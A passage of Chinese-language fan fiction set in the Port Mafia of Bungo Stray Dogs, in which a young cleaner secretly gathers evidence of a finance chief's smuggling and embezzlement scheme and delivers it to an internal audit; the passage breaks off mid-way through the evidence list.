每一份文件的“接收人签字”栏,都是青木胜也工整的签名
岛田抚摸着这些工整的文件,眼神复杂。
这些是他精心保留的“护身符”。
青木那孩子,老实,忠诚,崇拜他,让他签字从不怀疑,甚至觉得是队长信任他。
“对不起了,青木。”
岛田低声说,将文件夹放回抽屉,用另一叠真正的训练记录盖在上面,锁好。
“如果真到了那一步……你还年轻,扛一扛,也许还有活路。队长我会记得你的好。”
他将垃圾袋踢到桌下,整理了一下制服,拉开办公室门,对着角落三人喊道
“紧急任务!3号码头出现不明武装冲突,疑似敌对组织抢夺我方物资!现在去收拾装备!出发!”
正在角落里擦拭枪械的青木立刻站起来:“是!队长!”
岛田看着青木那张充满信任和斗志的脸,心里闪过一丝愧疚,但很快被求生的欲望压过。
必须赶在任何人发现箱子里是什么之前,控制住现场,安全转移货物。
然后,一切都可以推到“军火走私交易遭遇意外冲突”上。
三分钟后,小队整装出发
岛田作为队长,一反常态跑在最前面
他拐出走廊,看着电梯门离自己越来越近
直到,一个瘦小的黑色身影,忽的出现在了前方路口——
25.灯下黑
—
黑色风衣,白色绷带
太宰治。
最年轻干部披着标配的黑色外套,双手插兜,正慢悠悠的晃过来,
恰好挡在岛田小队通往电梯厅的必经之路上。
岛田的脚步骤然刹住,他身后的两名心腹队员也立刻立正,低头:“太宰先生!”
青木慢了半拍,但也迅速跟上。
他低着头,心跳怦怦作响
怎么又是他?!为什么每次有要事时都能碰上太宰?!
太宰的目光轻飘飘地扫过四人,最后落在岛田脸上。
“啊啦,岛田组长?”
太宰佯装惊讶,语气却无半分意外,“一大早的,这么匆忙,是有什么紧急任务吗?”
岛田的脸色抽搐一瞬,又瞬间恢复镇定:“太宰先生!是的,接到报告,港区3号码头有异常冲突,疑似涉及组织物资,正准备赶去现场查看。”
他语速平稳,但内心警铃大作。
该死!为什么偏偏这会儿遇到这位以心思难测著称的干部?!
“码头啊……”
太宰若有所思地重复着,目光掠过岛田和背后三人,“听起来像是麻烦事呢——人手够吗?”
“足够了,太宰先生!只是一次例行巡查和接管。”
岛田回答得很快
他满脑子想着如何阻止对方过多介入,完全没有意识到自己话中的前后矛盾
“例行巡查需要这么……杀气腾腾,整装齐备吗?”
但太宰瞬间抓住了这个突破口
他的眼神落在队员们的枪械上。
青木感到队长的背脊似乎僵硬了一下。
“这个……是为了应对可能的不法分子,确保万无一失。”
岛田硬着头皮解释,手心微微出汗。
“嗯,谨慎点是好事。”
太宰点了点头,似乎接受了这个说法,“队员们看起来也很有干劲,真是可靠呢,尤其是这位……青木君,对吧?”
被点名的青木浑身一僵,难以置信的抬头:“什么?你不是——”
不是早就认识我了吗?为什么要假装第一次见!——
“青木!——”岛田厉声呵斥,“规矩点!那是干部!——”
“对!——对不起队长!——”
青木脸色惨白,慌慌张张的鞠了一躬,“太——太宰大人!是属下失敬——”
“无妨。”太宰像赶走一只苍蝇一样挥了挥手,“反应迅速又忠于上级,是个好苗子呢。”
他说话时,目光看着岛田,仿佛在称赞他调教有方。
岛田的心脏狂跳,脑海中浮现出那个黑色文件夹:“……是,青木他一直很努力…….”
青木愣住了,身侧的双手握紧了战术腰带
队长他,不仅不介意刚才自己的失礼…….还在干部面前夸奖自己…….
他吸了吸鼻子,腰背挺得更直:“都——都是队长教育的好!——”
岛田没接话,只是侧过头,那眼神很复杂。
“努力是好事。”
太宰轻轻点头,“不过,有时候光靠努力和听从命令,也不一定能看清脚下的路呢。”
岛田的脸色白了白。
青木则微微蹙眉,不太理解这话的具体指向,但直觉不好。
“好了,不耽误你们执行紧急任务了。”
太宰像终于玩够了,摆了摆手,侧身让开了通向电梯的路
“快去吧。毕竟,时间不等人,有些东西……万一被不该看的人看到,或者被不该处理的人处理了,就麻烦了呢。”
不该看的人?不该处理的人?!
他到底知道了什么?还是只是在泛指码头的情况?
岛田不敢深想,只能深深鞠躬
“是!属下明白!我们立刻出发!”
他凝视着脚下洁白的瓷砖,几乎是逃离般从太宰身边快步走过,冲向几步外的电梯。
直到电梯门彻底关上,数字开始变小。
太宰才慢慢的收回目光,轻声哼着不知名的调子
鸢眸深处,掠过一丝期待的光。
好戏,就要开场了。
而棋子们,正在按他预想的方向,惊慌却努力地奔跑着。
包括那位有趣的清洁工小朋友。
安吾的提示,应该已经传达到了吧。
“那么,接下来该去的地方是——”
他调转了身子,朝着干部电梯的方向踱步而去。
胸前口袋里,隐隐露出纸张白皙的一角。
那是半小时前,新鲜出炉的「擂钵街地区地下格斗区域现状调查报告」
—
同一时间
港口黑手党总部大楼,48层,花园
中原中也站在花圃边,皮靴上沾着水渍
黑色的帽檐下,下颚绷得很紧。
一个多月前,他将小怪物发配去后勤科后,用准干部权限,从后勤挑了两个老实面相的人来帮忙,还特意给了他们几包营养土,几包据说花朵艳丽的种子和一些园艺工具。
只是不想让这里变回之前的垃圾场而已。
然而——
四片花圃里,干巴巴的板结土壤中间全是疯长的杂草,蔫黄的可怜小苗在草缝间挣扎。印着外文标签的种子袋被随意扔在地上,有些甚至没拆封,塑料包装上积了层灰。翻倒在地的水桶边,躺着两把崭新的,但刃口一侧沾满硬泥的园艺铲。更气人的是,角落里居然还堆着几个空的饮料罐和揉成一团的薯片包装袋。
而那两人,在被他撞见时,正舒舒服服坐在凉亭下的大石头上分享零食,旁边的便携小收音机里飘出微弱的流行乐。手边放着页面空白的《园艺工作日志》
面对准干部突然的降临,两人吓得魂飞魄散,辩解更是苍白无力:“土,土质不对……”“种,种子可能有问题……”“前,前一个人可能没处理好基础……” 最后还嘟囔了一句:“反正也没人真来看……”
这句话彻底点燃了中也的怒火
“滚!”他咬牙切齿,“现在,立刻去惩戒室报到!解释一下‘没人真来看’是什么意思!!”
那两人连滚爬爬地逃离,留下更显死寂的荒芜
一阵风吹过,空水桶咕噜噜的打着转儿,滚到他的脚边。
“哇哦——”
小门边响起一个分外欠揍的声音
“真是充满……原始生命力的景象啊,中也,你这是在进行某种……后现代艺术创作吗?主题是‘废弃与遗忘’?”
太宰看着中也黑如锅底的脸色,嘴边的笑容更明媚了,“还是说,你在亲自体验被流放边疆地区的部下的心情?”
“你想亲自被我用重力扔下去体验一下吗,青花鱼!”
中也猛地转身,脚尖甩起一片水花,“少在这里说风凉话!看见你就烦!”
“真伤心啊,我可是被这里‘独特’的风景吸引来的哦。”
太宰后退半步,绕开水坑,慢悠悠走到花圃边
“让我猜猜……你一个月前,把原本负责的璃久君发配走后,又满怀善意的……呃,或者说,充满干部责任感的,派了两个‘得力干将’来接手?”
他的脚尖拨弄了两下泥土,翻出一只污损的旧手套,“看起来,他们对泥土的亲和力,还不如对零食包装袋呢。”
中也的拳头捏紧了,“人我安排了……都是那帮废物阳奉阴违!”
“安排?”
太宰轻笑一声
“中也,你安排的时候,或者说,你在立下人事变动的公函之前,有没有稍微想过,为什么小璃久宁可隐瞒真实实力,宁可不要那些丰厚的报酬名头,也要死死赖在这片不起眼的花圃上?”
“一个传说中13岁就拿到过地下拳场两次冠军的人,他的选择,会不会比两个只会吃薯片的废物,更值得你花……嗯,哪怕多一分钟去想想为什么?”
中也的心猛地一沉。
这句话点醒了他潜意识里某个被情绪掩盖的疑团。
是啊,倘若那家伙展示实力,黑蜥蜴才该是他的起点,未来爬到百人长的位置更是易如反掌。
但他嘴上不肯服软:“少故弄玄虚!他那是瞒报实力!欺瞒组织!活该受罚!这是铁律!至于这里……是我看错了人,我会处理!”
“铁律啊……”
太宰轻飘飘的点了点头,视线却漫无目的的飘移着,最后落在砖房门前的那片花圃上
那里与其他四片花圃截然不同
土壤呈现出健康的深褐色,湿润而疏松。十几株翠绿幼苗整齐排列,在风中微微摇曳,苗床边缘干净整洁,连一条多余的杂草都没有。
“咦?”
太宰走到那片苗圃边蹲下身,手指轻轻捻了一下土壤。
“有趣……这里的土质,湿度,苗的状态,跟其他地方简直是两个世界。”
他站起身,拍了拍手,“看来,除了准干部大人安排的正式工,这里还有一位……默默无闻的义工?会偷偷来照顾这些被遗忘的小生命?”
中也扭过头,也看到了那块异常茂盛的苗圃
这显然不是刚才那两个混蛋的“杰作”,也不可能是年老体衰的远藤所作出的成果
听到“义工”的说法,他皱紧眉头
“胡说什么!可能是那小子以前弄的,还没死透罢了。”
“也许是吧。”
太宰没有反驳,带着一种“随你怎么说”的宽容。
他走回中也面前,声音压低,像在分享一个秘密
“你知道吗,中也。”
“园艺这门学科,可比想象中复杂得多哦。”
他娓娓道来,仿佛一名优雅的讲师,“有时候,哪怕用了最好的土,种子,精心调配的营养液,也不一定能如你所愿开出漂亮的花哦,反倒是那些没有人留意,甚至被嫌弃的杂草,却能在底下悄无声息的,长得更深,更远。”
他走到靠门的花圃边,随意扯出一根粗壮的杂草根茎,苍白的根须在阳光下闪烁着骇人的光。
“等到某一天,园丁忽然发现,为什么最好的地块越来越贫瘠,为什么精心挑选的种子总是夭折,他可能会愤怒的责怪阳光,雨水,甚至泥土本身,却很少会低头检查脚下看似不起眼,实际却盘根错节的杂草。”
他的声音更低,更柔,却带着坟墓里阴冷的味道
“等到那些根系将养分吸食殆尽时,再想清理,可就不只是除掉几株草那么简单了,说不定,整个花园的地基都早已经被蛀空了哦——”
说完,他不等瞳孔微缩的中也反应,转身离去,风衣下摆扫过干裂的土地。
“太宰!你说那么多到底他妈在暗示什么?!”
中也对着他的背影吼道,声音被风吹散。
太宰没有回头,只背对着他随意挥了挥手:“没什么,只是提醒我们亲爱的重力使,有时候,最需要警惕的,不是来自敌人,而是来自自己脚下早已松动,却被忽视的基石哦。”
身影消失,门轻轻合上。
中也独自站在原地
他的视线落在门边,那株被太宰随意扔下的杂草上。
太阳升得更高,他却莫名发冷。
一阵强风卷过,吹动他额前几缕发丝,也吹得那些杂草和蔫黄的苗一同伏倒,又艰难挺起。
—
十七小时后
午夜,港口黑手党总部大楼,18层,财务科
分明是深夜,办公室却灯火通明
靠边角的文件柜大开着,纸张散落一地
一台工业级碎纸机正发出持续不断的嘎吱——嗡——声。
桥本科长几缕头发被汗水黏在额角,西装外套被随意扔在椅子上,衬衫袖子卷到手肘,他红着眼睛,飞快地翻阅着最后几本活页夹。
“快!再快!重点找所有带境外银行标识,数字串,‘H’或‘山下’相关签名的东西!”
他对旁边一个脸色苍白的年轻手下吼道,“还有之前宝石走私项目下,所有非公开的备用金划拨记录!一张都不能留!”
“是……是!”手下慌忙应道,抖开另一个文件袋。
“科长,”另一个年纪稍大的心腹擦了把汗,压低声音,“码头那批货……上午刚被‘抢回来’,现在暂时封存在D区仓库。但岛田说,现场有后勤部的人,他担心……”
“担心什么?!”
桥本猛地抬头,“难道那些扫地的废物,还能看懂箱子里装的是蓝宝石不是电路板?!”
“不是……岛田说,当时箱盖因为冲击被撞开过,可能有碎屑残留……而且,负责现场清理的,是那个……织田作之助。”
“那个不杀人的底层杂役?”
桥本嗤笑,“一个怪胎而已,不用理他。况且,几颗碎屑能证明什么?就说是在码头缉私时从别的走私船上掉落的!现在最关键的是账!是钱!”
他烦躁地扯了扯领带:“那批货……可惜了!因为审计风声走漏,那帮黑市杂种临时坐地起价,还想黑吃黑……”
他瞥了眼老心腹,压低了点声音,“我让岛田抢回来是防止他们狗急跳墙乱说话,等风头过了,再找新渠道脱手,价钱能翻倍!”
“是,科长英明。”老心腹颔首
“嗯,告诉今井那边,看紧了!等审计组注意力被别处吸引再找新下家。”
“明白,那……山下运输那边?”
老心腹小心翼翼地问,“他们今天又来电催问上次‘运费补贴’的尾款,还说如果再不结清,他们可能没法保证‘运输记录’的‘一致性’。”这话里的威胁意味显而易见。
“一群喂不饱的蛆虫!”
桥本低声咒骂,将一叠文件狠狠塞进碎纸机,碎纸声瞬间变得沉闷滞涩。
“告诉他们,钱会到老账户!让他们管好自己的嘴!如果审计组问起,就说所有运输都是按最优路径和市价结算的,多出来的部分是‘特殊风险附加费’!票据都给我做平了!”
“老账户……”老心腹脸上露出难色,“那个瑞士账户……是不是太敏感了?最近国际反洗钱查得严,那边银行也要求补充资料,我们是不是……”
“闭嘴!”
桥本厉声打断,眼神阴鸷,“现在换账户来得及吗?钱都在里面!动了更惹怀疑!只要我们把这边所有能指向账户的纸质记录清理干净,他们就查无对证!密钥卡呢?我记得有两张复制的密钥卡!”
年轻心腹闻言,慌忙从腰间掏出一个金属名片盒,里面平躺着两张印着复杂芯片的银色卡片。“在这里,科长。一直按您吩咐,和日常门卡分开放。”
桥本一把抓过名片盒,看着那两张卡片,“这东西……不能碎,烧了也有痕迹……”
他沉吟片刻,眼中凶光一闪,“去!拿工具来,把芯片表面彻底刮花,刮到根本看不出原样,然后扔进港口最深的海!现在就去!你亲自去!”
“是!”年轻人接过名片盒,转身匆匆跑出办公室。
桥本喘着粗气,继续在文件堆里翻找。
他抽出一张质地稍厚,带有浮雕花纹的纸张。
那是一份瑞士某银行的账户开通确认函副本,客户签名栏赫然是他的英文签名。
虽然关键账号部分在中间,但银行的LOGO和他“Hashimoto”的签名清晰可见。
“找到了……这个……”他松了口气,毫不犹豫将确认函对折,准备撕碎投入碎纸机。
就在这时,办公室的门被极其轻微地敲响了。
笃,笃,笃。
三下,标准、克制,带着底层人员特有的小心翼翼。
桥本和老心腹都是一惊,瞬间僵住,看向门口
本就虚掩的门被推的更开。
一个穿着深灰色清洁工制服,身材瘦小的少年侧身站在那里
“打扰了。”
少年的声音很低,带着一丝疲惫的沙哑,
“深度清洁的时间到了,请问……现在方便吗?”
他的目光快速扫过满地狼藉,随即垂下,睫毛轻轻颤抖着。
在灯光下,他的神态显得懦弱而紧张。
桥本极度不耐:“没看见在忙吗?!滚出去!今晚不需要清洁!”
少年并没有立刻离开,而是露出一点恰到好处的为难
“可是……黑田科长规定,每个区域的深夜清洁必须完成并签字,否则会影响我的考评……而且,”
他看了眼角落里已经满溢出来的垃圾
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桶和满地纸屑,“垃圾需要分类清运,这是最新环保规定……山田前辈特别叮嘱过,不能违规。”
“山田?”桥本皱眉,似乎对这个刻板到愚直的清洁工有点印象。
旁边的老心腹低声道:“就是之前那个每次倒垃圾都要确认三遍分类的家伙……挺麻烦的。”
桥本脸色一凝
一个死板遵守规定的清洁工,如果硬赶走,他万一真去上级(还是那个据称对部门军事化管理的黑田胜)那里较真,反而可能引来不必要的目光。
眼下,尽快处理完这些要命的东西才是第一位的。
“……算了!”
桥本烦躁地妥协,指着远离他和碎纸机的门口区域,“你!只准清理那边!动作快点,清理完立刻滚!不准靠近里面!不准碰任何桌上的东西!听到没有?!”
“是,明白了。谢谢。”
少年低声应道,推着清洁车,安静地滑入办公室。
“等下。”老心腹对着少年的背影叫了一声,“那家伙虽然麻烦但也没休过班,今天怎么突然换人了?”
还是在这个节骨眼上
“是……是科里的临时调度,因为……后天凌晨,后勤部要统一更换全楼的空调滤网和灭虫,需要提前对很多房间做密闭准备。黑田科长就把所有熟悉各楼层结构,能独立处理复杂情况的老前辈,都提前抽调去贴封条和做检查了……我们这些新人,就暂时顶班。”
少年说的很慢,声音很轻:“这个计划表……每周的部务简报上都有预告的,只是这次执行得特别严格……”最后还自言自语了一句,“前辈们说,可能和几天后要来的什么审计组有关系……”
审计
老心腹条件反射眉头一皱
他扫了眼桌上的文件小山
现在不是计较换不换人的时候。
“那就安静点,别吵吵嚷嚷的。”
“是。”
少年利落的蹲下身,开始一丝不苟地清理满溢的垃圾桶,将里面的废纸,咖啡杯和烟头等分类装入不同颜色的垃圾袋。
桥本瞥了他一眼,见少年确实老实木讷,只专注清理最无关紧要的门口垃圾,便不再理会,重新将注意力放回手中那张要命的银行确认函上。
就在他准备最后撕毁的刹那——
“科长!不好了!”
那个跑去销毁密钥卡的年轻心腹慌慌张张地冲了回来,手里还拿着那个名片盒。
“出……出电梯时碰到巡逻队了!他们好像加强了今晚的巡查,盘问了我几句……我,我怕他们注意到这个盒子,没敢直接去车库……”
“蠢货!”桥本又惊又怒,注意力被完全吸引过去,“那盒子你现在拿回来有什么用?!”
“我……我想先藏起来,等会儿再……”
“等会?!万一明天一早审计组就来怎么办!你担得起这个责任吗!”
“对!对不起……”
“算了——”桥本夺回名片盒,塞进老心腹手里,又一把拉开抽屉掏出一张门卡,“隔壁档案室,角落应该还有两个大纸箱子,再去复查一下!!”
“是!”脚步声逐渐远去。
少年默不作声清理完第一个垃圾桶,他套好垃圾袋,余光落在桥本投入碎纸机的确认函上,又不留痕迹的垂下。
可惜了。
“科长!果然有!这些都是!”
脚步声又近了
年轻心腹抱着一大摞显然是刚翻找出来的文件,跌跌撞撞冲向碎纸机,甚至没注意脚下散落了几张。
一张轻飘飘的,边缘有些卷曲的纸片,从那一摞文件中滑出,乘着一股气流,恰好飘到门口
距离少年的脚只有两步之遥
他假借整理套桶的垃圾袋边缘,不留痕迹跨出半步。
“怎么还有那么多!该死!”
桥本看着已经满负荷运作的碎纸机,又看了看桌上新多出来的亟待粉碎的证据
“佐佐木!你打个电话给后勤部,让他们送一台同型号碎纸机!”
“是!”老心腹将彻底刮花的名片卡扔进垃圾桶,又掏出通讯器,匆匆跑出了办公室
“嗡——”恰好,碎纸机发出最后一声长鸣,不动了
沉重的死寂笼罩了室内
“操!!”桥本对着按钮拍了好几下,没有反应,他忍不住用力踹了一脚碎纸机,机器翻倒,盒盖松脱,纸屑洋洋洒洒铺满了整个地毯
年轻心腹也被这动静惊到,捧着文件的手僵硬地悬在半空
“喂——傻站着干什么!”桥本顾不上扶正机器,劈头盖脸一顿咆哮,在室内都产生了回音,“去叫人啊!!”
“是……是!”年轻心腹顾不上问需要叫谁,转头连滚带爬出了办公室
机会
少年不动声色又跨出两步,指尖捻起那张纸,迅速揉成团,压入已经快满溢出来的废纸垃圾袋。
而后,他面不改色提起袋子,放入清洁车下层专门收集“可回收纸张”的灰色大箱子里。
另一边,刚刚被赶去联络清洁科派人来清扫的年轻心腹哭丧着脸又回来了:“组长,清洁科电话打不通……会不会已经下班了……”
“一群没用的废物!——”桥本的脸已经憋成了猪肝色,他猛地转过身,指尖指着蹲在门边的少年
“你!给我把这里清理干净!手脚利落点!敢多一句嘴我就砍了你的脑袋!”
少年沉默颔首,并未提醒对方自己刚说过的理由,只是从车上取下扫帚,簸箕和垃圾袋,流畅地走入了办公室
他低着头,将废纸屑扫入簸箕,转过身,发现垃圾袋已经被年轻心腹敞开了
“谢谢。”他低语了一句,加快了清理的速度
桥本的视线始终如芒在背。
“科长!!”忽然,门边传来喊声,“碎纸机来了!”
老心腹佐藤擦着汗匆匆赶来,他的身后跟着推着平板车的健太郎
健太郎看见蹲在地上的人的瞬间,瞳孔一缩,他喉头滚动着,将那声低呼咽下
“我要了两台。”心腹走到桥本身边低声汇报,“这样快一点。”
“干得好。”桥本一直蹙着的眉头松开了半分,“正好,刚又搜出来一批,动作快,天亮前搞定!”
“是!”老心腹扫了眼已经将坏机器搬回平板车的健太郎,呵斥一声,“快点的!没看见我们着急吗!”
“是!”健太郎满头大汗将旧机器搬回平板车,又开始搬运新机器
“你怎么不把车推进来?”年轻心腹问
“这车轮脏,别毁了各位先生的地毯。”健太郎低着头,声音微喘,带着一丝瑟缩。
“算你识相。”老心腹冷哼一声,“这里的事,你,还有扫地的,都明白的对吧?”
“明白!我们什么都没看见什么都没听见!”健太郎将两台新机器连接上插头,“那个……桥本先生,但按照流程,提货单和回收申请……”
“着什么急!又不会欠!”桥本已经开始往新机器里塞文件,机器发出不堪重负的咯吱声
“科长,我去弄吧。”
老心腹听到回收申请时下意识皱了皱眉,“回收科那个老鸟不是省油的灯,出了名的难搞。上次岛田他们走一批‘训练损耗’的通讯模块,就因为理由编的太含糊,被他盘问了半个多小时,还附了整整一页情况说明。”
他看了一眼旁边满脸汗的年轻心腹:“让这小子去写,万一哪里填得不合老鸟那套苛刻的格式,或者对‘报废原因’描述得不够‘专业’,绝对会被扣下单子,要求重写甚至发起核查。万一——”
他没说完,但意思非常明显
这个节骨眼上,让一个技术偏执狂去较真他们根本见不得光的“报废碎纸机”,无异于自投罗网。
“行,那就你去。”桥本头也不回地嘟囔了一句,“编得像样点,赶紧弄完回来。别跟那个死脑筋的老家伙多纠缠!”
“是。”老心腹转身,余光扫到呆立在原地的健太郎,拔高嗓音,“发什么呆?——干完了还不快滚!”
“是!是……”
健太郎鞠了一躬,低着头跑出了办公室
在他身后,少年默不作声扎紧口袋,也沉默的提着袋子退出了办公室。
26.亲爱的朋友们,今天来相会~(上)
——
六天后,黎明
港口黑手党总部大楼,48层,花园
清晨五点,天幕尚未完全亮起。
风从高空掠过,带着深入骨髓的凉意,吹起璃久的额发。
头发都垂到肩膀了。
他掏出用来捆扎文件的橡皮筋,草草绑了个马尾,视线落在身边的棕色牛皮纸袋上。
那是一个厚实的,边缘已经被磨得有些发毛的牛皮纸袋,沉甸甸的,里面装着所有的证据
迄今为止,所有的碎片都已归位,所有的逻辑都已闭合,所有的路径都已清晰。
只需将这个纸袋送出去,风暴就会如期而至。
然而,他就这么坐着,一动不动。
一旦送出去,这一切的一切就将彻底脱离他的掌控
他将从执棋者重新变回清洁工
对这份文件所掀起的风暴,他将不再有任何话语权。
「你可知要我帮忙的,是要撬动港口黑手党的半壁江山?」
送出去,一定,会死很多人。
他真的应该点燃这根引信吗?
这真的是对斋藤葵,对组织,对他所渴望的“规则”最好的交代吗?
“咔哒——”
小砖房的门被推开
远藤走了出来
他没有穿那身黑色的后勤制服,而是穿着一件洗得发白的蓝色卫衣。
那是织田作的旧衣服。
璃久惊讶的转过身,目光落在男人红润的脸上:“远藤先生?您……”
三天前,远藤发了高烧,璃久和织田作轮流照顾了他两晚,直到他退烧为止。
“睡了两天了,该起来活动活动了。”
他三步并两步,走到璃久三米远的地方坐下。
璃久的目光落在他利落了些的腿上
走的,比之前稳了很多
“远藤先生,您……”
“嗯。”远藤侧眸看过来,笑了,“一周前,森医生给了我两盒新药,说是海外最新研发的靶向药,可能有帮助。”
森医生,森鸥外
港口黑手党的首领
璃久的视线在接触到远藤暖意的注视时,警惕褪去,流露出其下真实的依赖
“那,前两天的烧……”
“说是排异反应,只要撑过去的话,就会好。”
远藤顿了顿,声音很轻
“医生还说,如果运气好,或许能等到新技术出现……甚至,有治愈的可能。”
治愈。
璃久的眼睛蓦地睁大了
朦胧湿润的视线中,映出远藤眼中那簇微弱却真实的火苗
那不是回光返照的虚影,不是自欺欺人的伪装
那是希望
虽然渺小,但也是希望。
“不说我了。”
远藤摆摆手,目光落在璃久手边的牛皮纸袋上,眉头舒展,“……都完成了吗?”
“嗯……”
砖房屋檐上,三只毛茸茸圆滚滚的麻雀挤在一起,叽叽喳喳的鸣叫着。
“我……”鸟鸣遮盖了璃久的声音,“不知道该不该……”
他没再说下去,眼神湿漉漉的看向远藤。
“如果,交出去的话,很多人都会……”
他会变回影蚀,或者说,变成和影蚀殊途同归的存在
一个靠拳头,一个靠大脑
但性质都一样。
远藤定定地看着他,眼神温和
“孩子,还记得之前,我教你如何认识和去除杂草吗?”
璃久身体颤了颤,点头
“当时我说的话,还记得吗?”
璃久点头,将那句话复述了一遍
「打理花园,不是要消灭所有不是你只能活下去的东西,而是要学会分辨,哪些是必须清除的掠夺者,哪些是可以共生的邻居,哪些是能帮助这片土地的朋友」
“没错。”远藤微笑,“那么,你认为桥本,岛田,秋山他们,属于哪一类呢?”
哪一类?
璃久面前闪过斋藤葵灰白的脸,闪过健太郎的哭声,闪过老鸟的愤慨
还有他自己,在酒吧阴影中,沉默冰冷的侧脸
答案不言而喻
“对于杂草,放任不管的话,它们很快就会把土地上的养分都吸干,种下去的花就没地方,也没营养长了。”
他的目光若有所指的,落在那四片看似繁盛实则荒芜的苗床上。
“那时候,想要弄干净的话。”
眼神替他讲完了未尽的的后半句
「就得把整片苗床掀翻了,重新清理和消毒」
璃久眼中的迷茫逐渐沉淀为冷静和坚定
他站起身,将牛皮纸袋抱进怀里。
口袋里的通讯器嗡嗡作响
三条讯息
「小子,那份报告我看了五遍,我以回收科二十五年的工作经验发誓,绝对没问题,放心的去交吧,然后,让那群垃圾,回到他们该回的地方去!——鸟寺」
他想起三天前的深夜,鸟前辈从那台报废碎纸机中抢救出破损的确认函时,笑的像个少年
「璃久君,我现在依然很害怕,但这件事是我加入港口黑手党以来最骄傲,最不后悔的事,拜托了,一定要让高层看到这些,为了葵,也为了我们——佐藤健太郎」
他想起两天前的中午,健太郎绕到工具间,将一叠来自财务科的,热乎乎的单据复印件塞到他手里
最下面的手写信里,落款是3个财务科新人力透纸背的签名
「璃久,刚和老板打完电话,他去赶了早市,抢到了最好的蓝鳍金枪鱼和北极甜虾,今晚休店,做手作寿司,另:幸介,克己,优,真嗣和咲乐一致决定,要把最大最好的那份留给大英雄璃久哥哥——织田作之助」
他想到今早出门时,织田作站在楼梯口,对他说,晚上一起回家。
璃久收起通讯器,睫毛轻颤
泪珠晶莹,映出身侧第一抹曙光
“我去去就回。”
他抱紧了纸袋,转身,走向那扇小门
几步路,他没有回头
身后,太阳跃出地平线,将晨光洒向大地。
天亮了
——
四小时后
港口黑手党总部大楼,18层,大会议室
会议室厚重的橡木门紧闭,依然挡不住里面隐约透出的提问声。
长条会议桌两侧分坐四人
左边,三名审计部的专员,右边,一名项目的总负责人和一名桥本的直属部下
主位上,是审计部副部长森川
中原中也坐在侧席,黑色礼帽放在手边
他脸上没什么表情,但钴蓝色的眼眸深处却凝着一层压抑的躁郁。
从三天前在花园与太宰那番令人不安的对话后,他就没怎么合眼。
他咬紧牙,视线忍不住飘向会议室的最后方
那里放着一把孤零零的扶手椅。
太宰治就坐在那里。
他今天罕见地穿了正式的黑色西装,但坐姿却相当随意,修长的双腿交叠,鸢色的眼眸半阖着,仿佛只是在打发一个无聊的上午
台前,桥本穿着深灰色西装,头发一丝不苟,正站在投影幕布前,用激光笔指点着屏幕上复杂的财务报表。
他的声音平稳,带着一种经过精心排练的从容。
“综上所述,‘蓝宝石之心’项目自启动以来,所有资金流动均符合预算规划,采购流程透明,仓储损耗率严格控制在行业标准之内。关于近期某些关于‘异常损耗’的传闻,经我科初步核查,均系基层执行单位在填报标准上的理解偏差,已责令整改。这是相关的更正说明及支持性文件。”
佐佐木立刻将一叠厚厚的文件推向审计组。
森川接过,却没有立刻翻阅
“理解偏差?桥本科长,据我们调取的原始出入库记录,仅本月就有价值超过三亿的‘猎犬’系列装备被标注为‘高强度对抗损毁’而报废。而同期,行动组报备的武装冲突等级,似乎并不支持如此巨大的损耗量。这个‘偏差’,是否过于系统化了?”
桥本面不改色:“副部长明鉴。实战环境复杂,训练损耗有时也会并入实战报销。基层队员在紧张情况下,填报确实可能……稍显笼统。我们已加强了培训。”
“培训?” 森川微微挑眉,并未追问,转而开启另一个,也是更致命的话题,
“那好,我们先不谈那些昂贵的战术装备。来看一组更基础,但同样有趣的数据。”
投影画面切换,出现一张清晰的折线图。
“这是过去两个月,经你科室签字批准,从物资调配中心流转至资产回收与最终处理科的‘待报废金属零件及电子元件’月度总量曲线。”
图表上,一条原本平缓的曲线,在中也接手项目后陡然攀升,几乎垂直上涨,单月总量更是达到了往常均值的五倍以上。
“请解释一下,是什么原因,导致在项目稳步推进,并无大规模硬件更新或实验失败的背景下,需要‘报废’的金属零件和电子元件,会出现如此违反常理的激增?这些‘报废品’的具体构成,报废原因鉴定,以及最终处置流向的记录,请一并出示。”
桥本的喉结滚动了一下,笑容摇摇欲坠,“当然……相关文件我都已准备好,会后即可呈送。”
“会后?” 森川的声音更冷了些,“我要现在。”
中也的眉头蹙起,看向桥本。
“咚咚咚。”
就在此时,轻轻的敲门声响起
会议室内的气氛骤然一变。
太宰半阖的眼睛,在敲门声响起的瞬间,完全睁开了
门被推开一条缝,前台接待员的脸探了进来。
她手中捧着一个沉甸甸的,边缘有些发毛的牛皮纸袋
“抱歉打扰各位。”
接待员的声音清晰礼貌,“刚刚,有人将这个交给前台,指定要立刻送呈本会议室内的审计组负责人,说是‘关于蓝宝石之心项目的补充材料,至关重要’。”
森川眯起眼:“什么人送来的?”
“是一位穿着后勤制服的年轻人,放下盒子就离开了。盒子上只有打印的‘审计组组长亲启’字样。”
接待员如实汇报,“按照规定,我们检查了外包装,没有危险品特征,就立刻送来了。”
匿名急件?在这个敏感的时刻?
会议室内的气氛瞬间变得微妙起来,桥本脸上的血色以肉眼可见的速度褪去
中原中也放下了抱着的双臂,身体微微前倾,目光锐利地看向那个袋子
森川与身侧的审计员交换了一个眼神。
审计员起身,接过牛皮纸袋
他仔细检查了外包装和封口胶带
没有指纹,没有特殊标记。
他戴上手套,用裁纸刀小心地划开胶带,将袋子撑开
里面没有信,没有说明。只有整整齐齐,分门别类用透明文件夹装好的打印文件和两个物证袋,按照顺序叠放着。
当审计员最后拿出那两个物证袋时,桥本脸色瞬间变了
蓝色的光
他不会认错
证物袋里,装着一些细碎的晶体碎屑。
森川戴上手套,拿起证物袋,对着光看了看
“蓝宝石碎屑?”
他的目光锐利地扫向桥本和中也,“项目涉及的宝石原料,保管流程中会出现如此大量的碎屑残留吗?”
桥本满头是汗,结结巴巴:“这……生产线上的正常损耗难免……”
“生产线?”
森川打断他,“根据计划书,原料切割与初步加工环节,应该在专属保税工坊进行,那里有全套防损耗收集装置。这些碎屑,”
他掂了掂袋子,“看起来像是在粗糙搬运或非专业环境下产生的。”
他不再看桥本难看的脸色,放下证物袋,打开了那份厚厚的文件。
扉页,是一张简洁到极致的目录索引,用标准打印体罗列,条理清晰得可怕:
《关于“蓝宝石之心”项目及相关财务,物资流程异常证据汇编》
呈递:港口黑手党审计部
时间:即日
森川的目光在目录上停留了数秒,然后翻开了第一页。
会议室内鸦雀无声,只有纸张翻动的沙沙声。
证据清单如下:
A:虚假报废,盗卖装备(侵吞组织固定资产)
证据编号A-01:战术套件虚假报废实证
内容:高清彩色照片组。显示十套崭新的战术套件与旁边标注“码头区高强度对抗中完全损毁”的报废申请单并列。
来源:资产回收科鉴定员拍摄
证据编号A-02:专业鉴定报告
